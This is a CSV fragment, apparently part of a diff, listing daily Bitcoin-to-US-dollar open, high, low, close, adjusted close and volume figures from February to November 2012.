+2012-02-18,4.409999847412109,4.5,4.119999885559082,4.21999979019165,4.21999979019165,300903,BTC-USD +2012-02-19,4.21999979019165,4.519999980926514,4.179999828338623,4.389999866485596,4.389999866485596,271300,BTC-USD +2012-02-20,4.389999866485596,4.46999979019165,4.289999961853027,4.360000133514404,4.360000133514404,162939,BTC-USD +2012-02-21,4.360000133514404,4.400000095367432,4.210000038146973,4.269999980926514,4.269999980926514,222970,BTC-USD +2012-02-22,4.269999980926514,4.539999961853027,4.269999980926514,4.420000076293945,4.420000076293945,460671,BTC-USD +2012-02-23,4.420000076293945,5.199999809265137,4.420000076293945,5.010000228881836,5.010000228881836,792557,BTC-USD +2012-02-24,5.010000228881836,5.099999904632568,4.829999923706055,5.03000020980835,5.03000020980835,446896,BTC-USD +2012-02-25,5.03000020980835,5.070000171661377,4.650000095367432,4.769999980926514,4.769999980926514,420213,BTC-USD +2012-02-26,4.769999980926514,5.099999904632568,4.769999980926514,4.920000076293945,4.920000076293945,347092,BTC-USD +2012-02-27,4.920000076293945,4.989999771118164,4.889999866485596,4.960000038146973,4.960000038146973,145288,BTC-USD +2012-02-28,4.960000038146973,5.0,4.739999771118164,4.869999885559082,4.869999885559082,305075,BTC-USD +2012-02-29,4.869999885559082,4.900000095367432,4.800000190734863,4.860000133514404,4.860000133514404,129089,BTC-USD +2012-03-01,4.860000133514404,4.989999771118164,4.860000133514404,4.920000076293945,4.920000076293945,218150,BTC-USD +2012-03-02,4.920000076293945,4.949999809265137,4.510000228881836,4.699999809265137,4.699999809265137,613272,BTC-USD +2012-03-03,4.699999809265137,4.78000020980835,4.510000228881836,4.610000133514404,4.610000133514404,187646,BTC-USD +2012-03-04,4.610000133514404,4.949999809265137,4.610000133514404,4.820000171661377,4.820000171661377,283142,BTC-USD +2012-03-05,4.820000171661377,5.050000190734863,4.820000171661377,4.980000019073486,4.980000019073486,325526,BTC-USD +2012-03-06,4.980000019073486,5.070000171661377,4.900000095367432,4.989999771118164,4.989999771118164,221579,BTC-USD +2012-03-07,4.989999771118164,5.050000190734863,4.840000152587891,4.940000057220459,4.940000057220459,227645,BTC-USD +2012-03-08,4.940000057220459,5.0,4.760000228881836,4.929999828338623,4.929999828338623,283093,BTC-USD +2012-03-09,4.929999828338623,4.949999809265137,4.820000171661377,4.860000133514404,4.860000133514404,160227,BTC-USD +2012-03-10,4.860000133514404,4.909999847412109,4.75,4.829999923706055,4.829999923706055,135426,BTC-USD +2012-03-11,4.829999923706055,4.989999771118164,4.809999942779541,4.909999847412109,4.909999847412109,208576,BTC-USD +2012-03-12,4.909999847412109,4.949999809265137,4.860000133514404,4.889999866485596,4.889999866485596,108198,BTC-USD +2012-03-13,4.889999866485596,5.409999847412109,4.869999885559082,5.269999980926514,5.269999980926514,656673,BTC-USD +2012-03-14,5.269999980926514,5.449999809265137,5.25,5.380000114440918,5.380000114440918,337721,BTC-USD +2012-03-15,5.380000114440918,5.449999809265137,5.260000228881836,5.329999923706055,5.329999923706055,219063,BTC-USD +2012-03-16,5.329999923706055,5.400000095367432,5.300000190734863,5.340000152587891,5.340000152587891,174983,BTC-USD +2012-03-17,5.340000152587891,5.400000095367432,5.210000038146973,5.21999979019165,5.21999979019165,207915,BTC-USD +2012-03-18,5.21999979019165,5.340000152587891,5.210000038146973,5.28000020980835,5.28000020980835,120310,BTC-USD +2012-03-19,5.28000020980835,5.309999942779541,4.5,4.690000057220459,4.690000057220459,922722,BTC-USD +2012-03-20,4.690000057220459,4.900000095367432,4.590000152587891,4.840000152587891,4.840000152587891,318065,BTC-USD +2012-03-21,4.840000152587891,4.869999885559082,4.75,4.809999942779541,4.809999942779541,223605,BTC-USD +2012-03-22,4.809999942779541,4.880000114440918,4.599999904632568,4.699999809265137,4.699999809265137,276226,BTC-USD +2012-03-23,4.699999809265137,4.789999961853027,4.599999904632568,4.690000057220459,4.690000057220459,254329,BTC-USD +2012-03-24,4.690000057220459,4.730000019073486,4.599999904632568,4.679999828338623,4.679999828338623,181738,BTC-USD +2012-03-25,4.679999828338623,4.679999828338623,4.300000190734863,4.550000190734863,4.550000190734863,322035,BTC-USD +2012-03-26,4.550000190734863,4.739999771118164,4.519999980926514,4.619999885559082,4.619999885559082,324896,BTC-USD +2012-03-27,4.619999885559082,4.849999904632568,4.489999771118164,4.809999942779541,4.809999942779541,342922,BTC-USD +2012-03-28,4.809999942779541,4.840000152587891,4.71999979019165,4.789999961853027,4.789999961853027,182050,BTC-USD +2012-03-29,4.789999961853027,4.860000133514404,4.710000038146973,4.809999942779541,4.809999942779541,180963,BTC-USD +2012-03-30,4.809999942779541,4.880000114440918,4.71999979019165,4.860000133514404,4.860000133514404,187496,BTC-USD +2012-03-31,4.860000133514404,4.949999809265137,4.820000171661377,4.909999847412109,4.909999847412109,173670,BTC-USD +2012-04-01,4.909999847412109,4.920000076293945,4.730000019073486,4.829999923706055,4.829999923706055,172377,BTC-USD +2012-04-02,4.829999923706055,5.079999923706055,4.760000228881836,4.96999979019165,4.96999979019165,398480,BTC-USD +2012-04-03,4.96999979019165,4.989999771118164,4.809999942779541,4.949999809265137,4.949999809265137,384710,BTC-USD +2012-04-04,4.949999809265137,4.96999979019165,4.889999866485596,4.909999847412109,4.909999847412109,251784,BTC-USD +2012-04-05,4.909999847412109,4.929999828338623,4.869999885559082,4.920000076293945,4.920000076293945,165880,BTC-USD +2012-04-06,4.920000076293945,4.980000019073486,4.880000114440918,4.949999809265137,4.949999809265137,287735,BTC-USD +2012-04-07,4.949999809265137,4.949999809265137,4.690000057220459,4.690000057220459,4.690000057220459,388783,BTC-USD +2012-04-08,4.690000057220459,4.800000190734863,4.619999885559082,4.789999961853027,4.789999961853027,197917,BTC-USD +2012-04-09,4.789999961853027,4.880000114440918,4.730000019073486,4.869999885559082,4.869999885559082,187709,BTC-USD +2012-04-10,4.869999885559082,4.900000095367432,4.760000228881836,4.840000152587891,4.840000152587891,256671,BTC-USD +2012-04-11,4.840000152587891,4.980000019073486,4.789999961853027,4.929999828338623,4.929999828338623,327827,BTC-USD +2012-04-12,4.929999828338623,4.949999809265137,4.840000152587891,4.920000076293945,4.920000076293945,226872,BTC-USD +2012-04-13,4.920000076293945,4.940000057220459,4.730000019073486,4.940000057220459,4.940000057220459,452385,BTC-USD +2012-04-14,4.940000057220459,5.03000020980835,4.900000095367432,4.960000038146973,4.960000038146973,317996,BTC-USD +2012-04-15,4.960000038146973,4.980000019073486,4.860000133514404,4.96999979019165,4.96999979019165,163921,BTC-USD +2012-04-16,4.96999979019165,4.980000019073486,4.909999847412109,4.929999828338623,4.929999828338623,154236,BTC-USD +2012-04-17,4.929999828338623,5.019999980926514,4.929999828338623,4.980000019073486,4.980000019073486,151983,BTC-USD +2012-04-18,4.980000019073486,5.179999828338623,4.960000038146973,5.119999885559082,5.119999885559082,401659,BTC-USD +2012-04-19,5.119999885559082,5.190000057220459,5.099999904632568,5.139999866485596,5.139999866485596,240310,BTC-USD +2012-04-20,5.139999866485596,5.480000019073486,5.099999904632568,5.349999904632568,5.349999904632568,544263,BTC-USD +2012-04-21,5.349999904632568,5.480000019073486,5.110000133514404,5.260000228881836,5.260000228881836,321118,BTC-USD +2012-04-22,5.260000228881836,5.320000171661377,5.099999904632568,5.199999809265137,5.199999809265137,192195,BTC-USD +2012-04-23,5.199999809265137,5.21999979019165,4.960000038146973,4.960000038146973,4.960000038146973,252978,BTC-USD +2012-04-24,4.960000038146973,5.199999809265137,4.949999809265137,5.099999904632568,5.099999904632568,360126,BTC-USD +2012-04-25,5.099999904632568,5.179999828338623,5.039999961853027,5.130000114440918,5.130000114440918,182736,BTC-USD +2012-04-26,5.130000114440918,5.170000076293945,4.989999771118164,5.099999904632568,5.099999904632568,291333,BTC-USD +2012-04-27,5.099999904632568,5.119999885559082,5.03000020980835,5.110000133514404,5.110000133514404,131461,BTC-USD +2012-04-28,5.110000133514404,5.110000133514404,4.849999904632568,4.980000019073486,4.980000019073486,453939,BTC-USD +2012-04-29,4.980000019073486,5.019999980926514,4.880000114440918,4.900000095367432,4.900000095367432,109717,BTC-USD +2012-04-30,4.900000095367432,5.0,4.869999885559082,4.949999809265137,4.949999809265137,275744,BTC-USD +2012-05-01,4.949999809265137,5.0,4.920000076293945,5.0,5.0,181986,BTC-USD +2012-05-02,5.0,5.179999828338623,4.96999979019165,5.070000171661377,5.070000171661377,487937,BTC-USD +2012-05-03,5.070000171661377,5.179999828338623,5.019999980926514,5.130000114440918,5.130000114440918,180427,BTC-USD +2012-05-04,5.130000114440918,5.150000095367432,5.070000171661377,5.070000171661377,5.070000171661377,223210,BTC-USD +2012-05-05,5.070000171661377,5.119999885559082,5.03000020980835,5.079999923706055,5.079999923706055,95532,BTC-USD +2012-05-06,5.079999923706055,5.099999904632568,5.010000228881836,5.050000190734863,5.050000190734863,97474,BTC-USD +2012-05-07,5.050000190734863,5.099999904632568,4.96999979019165,5.059999942779541,5.059999942779541,232779,BTC-USD +2012-05-08,5.059999942779541,5.099999904632568,4.960000038146973,5.050000190734863,5.050000190734863,342801,BTC-USD +2012-05-09,5.050000190734863,5.099999904632568,5.0,5.039999961853027,5.039999961853027,196640,BTC-USD +2012-05-10,5.039999961853027,5.130000114440918,4.800000190734863,4.849999904632568,4.849999904632568,347144,BTC-USD +2012-05-11,4.849999904632568,5.0,4.800000190734863,4.960000038146973,4.960000038146973,311100,BTC-USD +2012-05-12,4.960000038146973,5.0,4.920000076293945,4.949999809265137,4.949999809265137,103382,BTC-USD +2012-05-13,4.949999809265137,5.0,4.920000076293945,4.929999828338623,4.929999828338623,69673,BTC-USD +2012-05-14,4.929999828338623,5.039999961853027,4.900000095367432,5.010000228881836,5.010000228881836,263695,BTC-USD +2012-05-15,5.010000228881836,5.039999961853027,4.949999809265137,5.039999961853027,5.039999961853027,220957,BTC-USD +2012-05-16,5.039999961853027,5.130000114440918,5.0,5.090000152587891,5.090000152587891,351814,BTC-USD +2012-05-17,5.090000152587891,5.099999904632568,5.050000190734863,5.099999904632568,5.099999904632568,135248,BTC-USD +2012-05-18,5.099999904632568,5.130000114440918,5.059999942779541,5.119999885559082,5.119999885559082,268289,BTC-USD +2012-05-19,5.119999885559082,5.139999866485596,5.070000171661377,5.099999904632568,5.099999904632568,118319,BTC-USD +2012-05-20,5.099999904632568,5.150000095367432,5.090000152587891,5.090000152587891,5.090000152587891,95644,BTC-USD +2012-05-21,5.090000152587891,5.130000114440918,5.059999942779541,5.099999904632568,5.099999904632568,171340,BTC-USD +2012-05-22,5.099999904632568,5.119999885559082,5.050000190734863,5.099999904632568,5.099999904632568,237263,BTC-USD +2012-05-23,5.099999904632568,5.170000076293945,5.070000171661377,5.139999866485596,5.139999866485596,271619,BTC-USD +2012-05-24,5.139999866485596,5.150000095367432,5.070000171661377,5.119999885559082,5.119999885559082,148029,BTC-USD +2012-05-25,5.119999885559082,5.150000095367432,5.099999904632568,5.150000095367432,5.150000095367432,118398,BTC-USD +2012-05-26,5.150000095367432,5.150000095367432,5.099999904632568,5.099999904632568,5.099999904632568,84985,BTC-USD +2012-05-27,5.099999904632568,5.150000095367432,5.099999904632568,5.139999866485596,5.139999866485596,80709,BTC-USD +2012-05-28,5.139999866485596,5.159999847412109,5.110000133514404,5.139999866485596,5.139999866485596,141508,BTC-USD +2012-05-29,5.139999866485596,5.159999847412109,5.010000228881836,5.150000095367432,5.150000095367432,313167,BTC-USD +2012-05-30,5.150000095367432,5.170000076293945,5.099999904632568,5.139999866485596,5.139999866485596,205489,BTC-USD +2012-05-31,5.139999866485596,5.199999809265137,5.110000133514404,5.179999828338623,5.179999828338623,203750,BTC-USD +2012-06-01,5.179999828338623,5.28000020980835,5.179999828338623,5.269999980926514,5.269999980926514,234080,BTC-USD +2012-06-02,5.269999980926514,5.269999980926514,5.210000038146973,5.25,5.25,79520,BTC-USD +2012-06-03,5.25,5.25,5.210000038146973,5.210000038146973,5.210000038146973,66238,BTC-USD +2012-06-04,5.210000038146973,5.28000020980835,5.179999828338623,5.269999980926514,5.269999980926514,268035,BTC-USD +2012-06-05,5.269999980926514,5.5,5.21999979019165,5.440000057220459,5.440000057220459,452286,BTC-USD +2012-06-06,5.440000057220459,5.489999771118164,5.389999866485596,5.460000038146973,5.460000038146973,221376,BTC-USD +2012-06-07,5.460000038146973,5.590000152587891,5.409999847412109,5.590000152587891,5.590000152587891,264420,BTC-USD +2012-06-08,5.590000152587891,5.659999847412109,5.559999942779541,5.630000114440918,5.630000114440918,302527,BTC-USD +2012-06-09,5.630000114440918,5.699999809265137,5.460000038146973,5.559999942779541,5.559999942779541,206719,BTC-USD +2012-06-10,5.559999942779541,5.579999923706055,5.429999828338623,5.46999979019165,5.46999979019165,134034,BTC-USD +2012-06-11,5.46999979019165,5.599999904632568,5.429999828338623,5.570000171661377,5.570000171661377,221882,BTC-USD +2012-06-12,5.570000171661377,5.75,5.5,5.699999809265137,5.699999809265137,442662,BTC-USD +2012-06-13,5.699999809265137,5.960000038146973,5.659999847412109,5.929999828338623,5.929999828338623,335216,BTC-USD +2012-06-14,5.929999828338623,5.96999979019165,5.809999942779541,5.949999809265137,5.949999809265137,206567,BTC-USD +2012-06-15,5.949999809265137,6.590000152587891,5.880000114440918,6.5,6.5,401826,BTC-USD +2012-06-16,6.5,6.599999904632568,6.260000228881836,6.400000095367432,6.400000095367432,505216,BTC-USD +2012-06-17,6.400000095367432,6.53000020980835,6.099999904632568,6.159999847412109,6.159999847412109,308913,BTC-USD +2012-06-18,6.159999847412109,6.360000133514404,6.03000020980835,6.309999942779541,6.309999942779541,293446,BTC-USD +2012-06-19,6.309999942779541,6.53000020980835,6.28000020980835,6.5,6.5,282752,BTC-USD +2012-06-20,6.5,6.710000038146973,6.449999809265137,6.670000076293945,6.670000076293945,423271,BTC-USD +2012-06-21,6.670000076293945,6.800000190734863,6.559999942779541,6.679999828338623,6.679999828338623,347681,BTC-USD +2012-06-22,6.679999828338623,6.800000190734863,6.429999828338623,6.550000190734863,6.550000190734863,374175,BTC-USD +2012-06-23,6.550000190734863,6.650000095367432,6.400000095367432,6.429999828338623,6.429999828338623,130792,BTC-USD +2012-06-24,6.429999828338623,6.46999979019165,6.349999904632568,6.349999904632568,6.349999904632568,217549,BTC-USD +2012-06-25,6.349999904632568,6.449999809265137,6.21999979019165,6.300000190734863,6.300000190734863,395654,BTC-USD +2012-06-26,6.300000190734863,6.46999979019165,6.289999961853027,6.420000076293945,6.420000076293945,311935,BTC-USD +2012-06-27,6.420000076293945,6.650000095367432,6.400000095367432,6.650000095367432,6.650000095367432,274046,BTC-USD +2012-06-28,6.650000095367432,6.670000076293945,6.489999771118164,6.610000133514404,6.610000133514404,282297,BTC-USD +2012-06-29,6.610000133514404,6.679999828338623,6.539999961853027,6.650000095367432,6.650000095367432,174369,BTC-USD +2012-06-30,6.650000095367432,6.690000057220459,6.599999904632568,6.690000057220459,6.690000057220459,137136,BTC-USD +2012-07-01,6.690000057220459,6.690000057220459,6.539999961853027,6.630000114440918,6.630000114440918,135823,BTC-USD +2012-07-02,6.630000114440918,6.769999980926514,6.579999923706055,6.760000228881836,6.760000228881836,217005,BTC-USD +2012-07-03,6.760000228881836,6.760000228881836,6.400000095367432,6.449999809265137,6.449999809265137,465280,BTC-USD +2012-07-04,6.449999809265137,6.550000190734863,6.449999809265137,6.510000228881836,6.510000228881836,217804,BTC-USD +2012-07-05,6.510000228881836,6.769999980926514,6.480000019073486,6.670000076293945,6.670000076293945,301701,BTC-USD +2012-07-06,6.670000076293945,6.71999979019165,6.550000190734863,6.650000095367432,6.650000095367432,286978,BTC-USD +2012-07-07,6.650000095367432,6.869999885559082,6.630000114440918,6.760000228881836,6.760000228881836,257213,BTC-USD +2012-07-08,6.760000228881836,6.860000133514404,6.71999979019165,6.800000190734863,6.800000190734863,123756,BTC-USD +2012-07-09,6.800000190734863,7.099999904632568,6.739999771118164,7.019999980926514,7.019999980926514,425223,BTC-USD +2012-07-10,7.019999980926514,7.25,6.960000038146973,7.199999809265137,7.199999809265137,497668,BTC-USD +2012-07-11,7.199999809265137,7.260000228881836,7.019999980926514,7.150000095367432,7.150000095367432,297644,BTC-USD +2012-07-12,7.150000095367432,7.900000095367432,7.099999904632568,7.760000228881836,7.760000228881836,471834,BTC-USD +2012-07-13,7.760000228881836,7.820000171661377,7.420000076293945,7.670000076293945,7.670000076293945,499441,BTC-USD +2012-07-14,7.670000076293945,7.670000076293945,7.519999980926514,7.539999961853027,7.539999961853027,121635,BTC-USD +2012-07-15,7.539999961853027,7.699999809265137,7.449999809265137,7.619999885559082,7.619999885559082,204616,BTC-USD +2012-07-16,7.619999885559082,8.649999618530273,7.619999885559082,8.5,8.5,835550,BTC-USD +2012-07-17,8.5,9.489999771118164,7.320000171661377,8.800000190734863,8.800000190734863,1757815,BTC-USD +2012-07-18,8.800000190734863,9.399999618530273,8.5,9.109999656677246,9.109999656677246,955210,BTC-USD +2012-07-19,9.109999656677246,9.229999542236328,8.819999694824219,8.869999885559082,8.869999885559082,438703,BTC-USD +2012-07-20,8.869999885559082,8.869999885559082,7.599999904632568,8.520000457763672,8.520000457763672,1267523,BTC-USD +2012-07-21,8.520000457763672,9.699999809265137,7.960000038146973,8.850000381469727,8.850000381469727,1242153,BTC-USD +2012-07-22,8.850000381469727,8.970000267028809,8.270000457763672,8.40999984741211,8.40999984741211,259113,BTC-USD +2012-07-23,8.40999984741211,9.199999809265137,7.75,8.449999809265137,8.449999809265137,1238579,BTC-USD +2012-07-24,8.449999809265137,8.850000381469727,8.34000015258789,8.600000381469727,8.600000381469727,353506,BTC-USD +2012-07-25,8.600000381469727,8.899999618530273,8.369999885559082,8.800000190734863,8.800000190734863,555883,BTC-USD +2012-07-26,8.800000190734863,8.899999618530273,8.600000381469727,8.899999618530273,8.899999618530273,283993,BTC-USD +2012-07-27,8.899999618530273,8.949999809265137,8.8100004196167,8.899999618530273,8.899999618530273,237223,BTC-USD +2012-07-28,8.899999618530273,8.930000305175781,8.710000038146973,8.890000343322754,8.890000343322754,143179,BTC-USD +2012-07-29,8.890000343322754,8.890000343322754,8.699999809265137,8.710000038146973,8.710000038146973,100508,BTC-USD +2012-07-30,8.710000038146973,9.149999618530273,8.699999809265137,9.100000381469727,9.100000381469727,458873,BTC-USD +2012-07-31,9.100000381469727,9.4399995803833,9.079999923706055,9.350000381469727,9.350000381469727,648746,BTC-USD +2012-08-01,9.350000381469727,9.649999618530273,9.109999656677246,9.550000190734863,9.550000190734863,647522,BTC-USD +2012-08-02,9.550000190734863,11.0,9.40999984741211,10.529999732971191,10.529999732971191,1283817,BTC-USD +2012-08-03,10.529999732971191,11.119999885559082,10.300000190734863,10.970000267028809,10.970000267028809,661588,BTC-USD +2012-08-04,10.970000267028809,11.300000190734863,10.529999732971191,10.979999542236328,10.979999542236328,575464,BTC-USD +2012-08-05,10.979999542236328,11.289999961853027,10.109999656677246,10.869999885559082,10.869999885559082,714863,BTC-USD +2012-08-06,10.869999885559082,11.1899995803833,10.640000343322754,10.859999656677246,10.859999656677246,562801,BTC-USD +2012-08-07,10.859999656677246,11.100000381469727,10.649999618530273,11.100000381469727,11.100000381469727,451978,BTC-USD +2012-08-08,11.100000381469727,11.149999618530273,10.850000381469727,11.0600004196167,11.0600004196167,345666,BTC-USD +2012-08-09,11.0600004196167,12.0,10.800000190734863,11.0600004196167,11.0600004196167,1153809,BTC-USD +2012-08-10,11.0600004196167,11.600000381469727,11.010000228881836,11.390000343322754,11.390000343322754,725605,BTC-USD +2012-08-11,11.390000343322754,11.600000381469727,11.390000343322754,11.510000228881836,11.510000228881836,250620,BTC-USD +2012-08-12,11.510000228881836,11.770000457763672,11.449999809265137,11.619999885559082,11.619999885559082,353092,BTC-USD +2012-08-13,11.619999885559082,12.050000190734863,11.489999771118164,12.039999961853027,12.039999961853027,637059,BTC-USD +2012-08-14,12.039999961853027,12.34000015258789,11.890000343322754,12.1899995803833,12.1899995803833,532302,BTC-USD +2012-08-15,12.1899995803833,13.25,12.15999984741211,13.25,13.25,725834,BTC-USD +2012-08-16,13.25,13.84000015258789,12.5,13.5,13.5,1277714,BTC-USD +2012-08-17,13.5,15.399999618530273,10.600000381469727,11.579999923706055,11.579999923706055,2930580,BTC-USD +2012-08-18,11.579999923706055,12.899999618530273,11.020000457763672,11.609999656677246,11.609999656677246,1045361,BTC-USD +2012-08-19,11.609999656677246,11.619999885559082,7.579999923706055,8.0,8.0,2170411,BTC-USD +2012-08-20,8.0,10.5,7.809999942779541,10.100000381469727,10.100000381469727,1835053,BTC-USD +2012-08-21,10.100000381469727,10.300000190734863,9.699999809265137,9.920000076293945,9.920000076293945,722740,BTC-USD +2012-08-22,9.920000076293945,10.100000381469727,9.569999694824219,9.8100004196167,9.8100004196167,665544,BTC-USD +2012-08-23,9.8100004196167,10.25,9.710000038146973,10.100000381469727,10.100000381469727,560012,BTC-USD +2012-08-24,10.100000381469727,10.619999885559082,9.850000381469727,10.600000381469727,10.600000381469727,945182,BTC-USD +2012-08-25,10.600000381469727,10.630000114440918,10.199999809265137,10.520000457763672,10.520000457763672,420388,BTC-USD +2012-08-26,10.520000457763672,10.619999885559082,10.449999809265137,10.609999656677246,10.609999656677246,277773,BTC-USD +2012-08-27,10.609999656677246,12.149999618530273,10.539999961853027,10.949999809265137,10.949999809265137,1957673,BTC-USD +2012-08-28,10.949999809265137,11.210000038146973,10.5,10.9399995803833,10.9399995803833,598168,BTC-USD +2012-08-29,10.9399995803833,11.130000114440918,10.550000190734863,10.920000076293945,10.920000076293945,581687,BTC-USD +2012-08-30,10.920000076293945,10.930000305175781,10.600000381469727,10.779999732971191,10.779999732971191,332208,BTC-USD +2012-08-31,10.779999732971191,10.829999923706055,9.65999984741211,10.15999984741211,10.15999984741211,690452,BTC-USD +2012-09-01,10.15999984741211,10.300000190734863,9.779999732971191,9.970000267028809,9.970000267028809,233777,BTC-USD +2012-09-02,9.970000267028809,10.359999656677246,9.720000267028809,10.199999809265137,10.199999809265137,251932,BTC-USD +2012-09-03,10.199999809265137,10.59000015258789,10.09000015258789,10.529999732971191,10.529999732971191,237264,BTC-USD +2012-09-04,10.529999732971191,10.529999732971191,10.149999618530273,10.380000114440918,10.380000114440918,359404,BTC-USD +2012-09-05,10.380000114440918,11.170000076293945,10.260000228881836,11.0,11.0,653374,BTC-USD +2012-09-06,11.0,11.289999961853027,10.640000343322754,11.180000305175781,11.180000305175781,733288,BTC-USD +2012-09-07,11.180000305175781,11.210000038146973,10.949999809265137,11.0,11.0,394463,BTC-USD +2012-09-08,11.0,11.140000343322754,10.770000457763672,11.039999961853027,11.039999961853027,266231,BTC-USD +2012-09-09,11.039999961853027,11.140000343322754,10.920000076293945,11.020000457763672,11.020000457763672,155002,BTC-USD +2012-09-10,11.020000457763672,11.1899995803833,10.869999885559082,11.170000076293945,11.170000076293945,467067,BTC-USD +2012-09-11,11.170000076293945,11.350000381469727,10.880000114440918,11.329999923706055,11.329999923706055,721708,BTC-USD +2012-09-12,11.329999923706055,11.390000343322754,10.779999732971191,11.359999656677246,11.359999656677246,657004,BTC-USD +2012-09-13,11.359999656677246,11.399999618530273,11.220000267028809,11.399999618530273,11.399999618530273,233401,BTC-USD +2012-09-14,11.399999618530273,11.800000190734863,11.319999694824219,11.670000076293945,11.670000076293945,500768,BTC-USD +2012-09-15,11.670000076293945,11.789999961853027,11.600000381469727,11.75,11.75,190511,BTC-USD +2012-09-16,11.75,11.989999771118164,11.720000267028809,11.869999885559082,11.869999885559082,359833,BTC-USD +2012-09-17,11.869999885559082,11.960000038146973,11.770000457763672,11.890000343322754,11.890000343322754,316662,BTC-USD +2012-09-18,11.890000343322754,12.350000381469727,11.84000015258789,12.25,12.25,494030,BTC-USD +2012-09-19,12.25,12.6899995803833,12.149999618530273,12.569999694824219,12.569999694824219,519593,BTC-USD +2012-09-20,12.569999694824219,12.65999984741211,12.25,12.279999732971191,12.279999732971191,406467,BTC-USD +2012-09-21,12.279999732971191,12.5,12.010000228881836,12.369999885559082,12.369999885559082,439674,BTC-USD +2012-09-22,12.369999885559082,12.399999618530273,12.140000343322754,12.239999771118164,12.239999771118164,183186,BTC-USD +2012-09-23,12.239999771118164,12.270000457763672,11.630000114440918,12.1899995803833,12.1899995803833,479223,BTC-USD +2012-09-24,12.1899995803833,12.300000190734863,11.949999809265137,12.100000381469727,12.100000381469727,330885,BTC-USD +2012-09-25,12.100000381469727,12.229999542236328,12.010000228881836,12.199999809265137,12.199999809265137,257174,BTC-USD +2012-09-26,12.199999809265137,12.460000038146973,12.020000457763672,12.270000457763672,12.270000457763672,287416,BTC-USD +2012-09-27,12.270000457763672,12.399999618530273,12.210000038146973,12.3100004196167,12.3100004196167,238051,BTC-USD +2012-09-28,12.3100004196167,12.449999809265137,12.119999885559082,12.390000343322754,12.390000343322754,329436,BTC-USD +2012-09-29,12.390000343322754,12.489999771118164,12.210000038146973,12.359999656677246,12.359999656677246,211507,BTC-USD +2012-09-30,12.359999656677246,12.449999809265137,12.300000190734863,12.399999618530273,12.399999618530273,96462,BTC-USD +2012-10-01,12.399999618530273,12.479999542236328,12.319999694824219,12.399999618530273,12.399999618530273,307618,BTC-USD +2012-10-02,12.399999618530273,12.880000114440918,12.34000015258789,12.84000015258789,12.84000015258789,642027,BTC-USD +2012-10-03,12.84000015258789,12.989999771118164,12.680000305175781,12.890000343322754,12.890000343322754,422995,BTC-USD +2012-10-04,12.890000343322754,13.09000015258789,12.600000381469727,12.850000381469727,12.850000381469727,488811,BTC-USD +2012-10-05,12.850000381469727,12.970000267028809,12.510000228881836,12.6899995803833,12.6899995803833,398427,BTC-USD +2012-10-06,12.6899995803833,12.859999656677246,12.350000381469727,12.510000228881836,12.510000228881836,310513,BTC-USD +2012-10-07,12.510000228881836,12.619999885559082,11.699999809265137,11.800000190734863,11.800000190734863,762812,BTC-USD +2012-10-08,11.800000190734863,11.949999809265137,10.619999885559082,11.779999732971191,11.779999732971191,1102329,BTC-USD +2012-10-09,11.779999732971191,12.350000381469727,11.569999694824219,11.899999618530273,11.899999618530273,559694,BTC-USD +2012-10-10,11.899999618530273,12.1899995803833,11.770000457763672,12.119999885559082,12.119999885559082,333351,BTC-USD +2012-10-11,12.119999885559082,12.149999618530273,11.859999656677246,12.029999732971191,12.029999732971191,238483,BTC-USD +2012-10-12,12.029999732971191,12.149999618530273,11.920000076293945,12.0,12.0,259522,BTC-USD +2012-10-13,12.0,12.109999656677246,11.850000381469727,11.859999656677246,11.859999656677246,141870,BTC-USD +2012-10-14,11.859999656677246,12.029999732971191,11.5,11.739999771118164,11.739999771118164,271135,BTC-USD +2012-10-15,11.739999771118164,11.989999771118164,11.430000305175781,11.84000015258789,11.84000015258789,317633,BTC-USD +2012-10-16,11.84000015258789,11.989999771118164,11.5,11.850000381469727,11.850000381469727,485720,BTC-USD +2012-10-17,11.850000381469727,11.960000038146973,11.699999809265137,11.8100004196167,11.8100004196167,279774,BTC-USD +2012-10-18,11.8100004196167,11.960000038146973,11.75,11.9399995803833,11.9399995803833,259855,BTC-USD +2012-10-19,11.9399995803833,11.970000267028809,11.619999885559082,11.739999771118164,11.739999771118164,272640,BTC-USD +2012-10-20,11.739999771118164,11.850000381469727,11.5600004196167,11.739999771118164,11.739999771118164,259113,BTC-USD +2012-10-21,11.739999771118164,11.770000457763672,11.609999656677246,11.630000114440918,11.630000114440918,109479,BTC-USD +2012-10-22,11.630000114440918,11.8100004196167,11.470000267028809,11.710000038146973,11.710000038146973,440140,BTC-USD +2012-10-23,11.710000038146973,12.0,11.40999984741211,11.649999618530273,11.649999618530273,637306,BTC-USD +2012-10-24,11.649999618530273,11.789999961853027,11.59000015258789,11.649999618530273,11.649999618530273,254132,BTC-USD +2012-10-25,11.649999618530273,11.699999809265137,10.520000457763672,10.859999656677246,10.859999656677246,934190,BTC-USD +2012-10-26,10.859999656677246,10.949999809265137,9.739999771118164,10.170000076293945,10.170000076293945,1020616,BTC-USD +2012-10-27,10.170000076293945,10.84000015258789,9.819999694824219,10.260000228881836,10.260000228881836,496747,BTC-USD +2012-10-28,10.260000228881836,10.949999809265137,10.25,10.699999809265137,10.699999809265137,236640,BTC-USD +2012-10-29,10.699999809265137,10.9399995803833,10.319999694824219,10.600000381469727,10.600000381469727,400173,BTC-USD +2012-10-30,10.600000381469727,10.890000343322754,10.579999923706055,10.890000343322754,10.890000343322754,279843,BTC-USD +2012-10-31,10.890000343322754,11.210000038146973,10.710000038146973,11.199999809265137,11.199999809265137,448359,BTC-USD +2012-11-01,11.199999809265137,11.279999732971191,10.399999618530273,10.569999694824219,10.569999694824219,550327,BTC-USD +2012-11-02,10.569999694824219,10.800000190734863,10.329999923706055,10.470000267028809,10.470000267028809,258957,BTC-USD +2012-11-03,10.470000267028809,10.649999618530273,10.399999618530273,10.640000343322754,10.640000343322754,176345,BTC-USD +2012-11-04,10.640000343322754,10.899999618530273,10.510000228881836,10.800000190734863,10.800000190734863,178761,BTC-USD +2012-11-05,10.800000190734863,10.880000114440918,10.609999656677246,10.75,10.75,233650,BTC-USD +2012-11-06,10.75,10.899999618530273,10.670000076293945,10.899999618530273,10.899999618530273,291515,BTC-USD +2012-11-07,10.899999618530273,11.220000267028809,10.800000190734863,10.920000076293945,10.920000076293945,348474,BTC-USD +2012-11-08,10.920000076293945,11.069999694824219,10.75,10.930000305175781,10.930000305175781,284556,BTC-USD +2012-11-09,10.930000305175781,10.979999542236328,10.789999961853027,10.819999694824219,10.819999694824219,159984,BTC-USD +2012-11-10,10.819999694824219,10.960000038146973,10.75,10.890000343322754,10.890000343322754,146349,BTC-USD +2012-11-11,10.890000343322754,10.9399995803833,10.699999809265137,10.869999885559082,10.869999885559082,136448,BTC-USD 